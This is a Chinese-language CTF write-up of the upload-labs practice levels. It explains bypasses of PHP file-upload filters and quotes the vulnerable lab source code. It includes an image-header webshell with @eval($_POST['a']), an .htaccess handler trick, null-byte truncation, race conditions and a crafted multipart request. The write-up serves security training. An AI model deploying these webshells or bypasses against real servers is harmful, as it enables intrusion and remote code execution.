upload-labs writeup

Jul 20, 2018 09:54 · 388 words · 2 minute read ctf

upload-labs链接

pass-1

将php文件修改为.jpg后缀,然后抓包修改后缀为php即可.

pass-2

同上

因为上传的文件是jpg后缀,所以在http数据包中的文件属性也都是jpg的,所以可以直接绕过对于content-type等文件属性的检查

pass-3

上传php文件后,页面显示

提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! 

猜测可能是黑名单,尝试php3后缀,成功上传.

pass-4

上传php文件,页面显示

提示:此文件不允许上传! 

随便写个后缀php122,上传成功,还是黑名单,测试php2,php3,php5,phtml后缀皆显示不允许上传,测试到pht后缀成功上传.

拿这个后缀连着过了好几关…感觉不对,看源码,感觉是作者少加了这个后缀到黑名单.

先知的writeup这样做

上传.htaccess文件,内容如下

SetHandler application/x-httpd-php

然后随便上传一个后缀都会解析为php.

pass-5

这里还过滤了.htaccess,先知的文章是改变大小写,在linux下不行.

pass-6

没有去除空格.所以可以在php后缀后添加空格绕过.

pass-7

代码没有删掉文件后缀的点,Windows会自动去除后缀中的’.’,所以上传文件后缀为

1.php.

pass-8

再次利用Windows的特性,在后缀后添加::$DATA

上传的后缀为

1.php::$DATA

pass-9

没搞懂先知的writeup

pass-10

单词混写绕过

pass-11

用到%00截断,但是只存在于php5.3.4以下.

使用方法有以下两种

在url中加入%00,如http://xxxx/shell.php%00.jpg
在burpsuite的16进制编辑工具将”shell.php .jpg”(带空格的)中间的空格由20改成00

pass-12

这次的save_path是post到服务器的,所以不会进行自动解码,需要在burpsuite的hex进制里修改.

pass-13

这里需要上传图片马.

源码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

阅读代码可知,getReailFileType函数只会读取文件的前两个字节,所以我们伪造一个文件头即可.

文件内容如下

GIF89a
<?php

echo 111111111;
@eval($_POST['a']);

?>

然后include包含测试一下即可.

pass-14

看源码

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

这里用到了 getimagesize和image_type_to_extension两个函数

官方定义

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
image_type_to_extension — 取得图像类型的文件后缀
string image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] )
根据给定的常量 IMAGETYPE_XXX 返回后缀名。

仍然使用13关的图片马即可绕过.

pass-15

开启了php_exif模块,

还是使用之前的图片马.

pass-16

另开了一篇写.

pass-17

条件竞争

源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传失败!';
    }
}

分析可知流程大概是 先上传再检测,如果非法再删除.

采用条件竞争即可.

pass-18

同条件竞争

pass-19

源码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            // $file_name = 'a.php';/
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) { 
                $is_upload = true;
            }else{
                echo "sdad$img_path";
                $msg = '上传失败1111111111111!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里可以利用1.php/.的方式绕过.

数据包如下


------WebKitFormBoundaryxkel2Wa6q51c7Ckn
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/x-php

<?php

phpinfo();

?>
------WebKitFormBoundaryxkel2Wa6q51c7Ckn
Content-Disposition: form-data; name="save_name"

1.php/.
------WebKitFormBoundaryxkel2Wa6q51c7Ckn
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryxkel2Wa6q51c7Ckn--

这种方式利用的move_uploaded_file函数,该函数会自动删掉文件名最好的/..

具体原理

http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
先知的解法

利用的是move_uploaded_file函数的00截断.CVE-2015-2348.

复现文章

00截断需要在php5.3.3版本以下,手头没有phpstudy,就不复现了.

tweet Share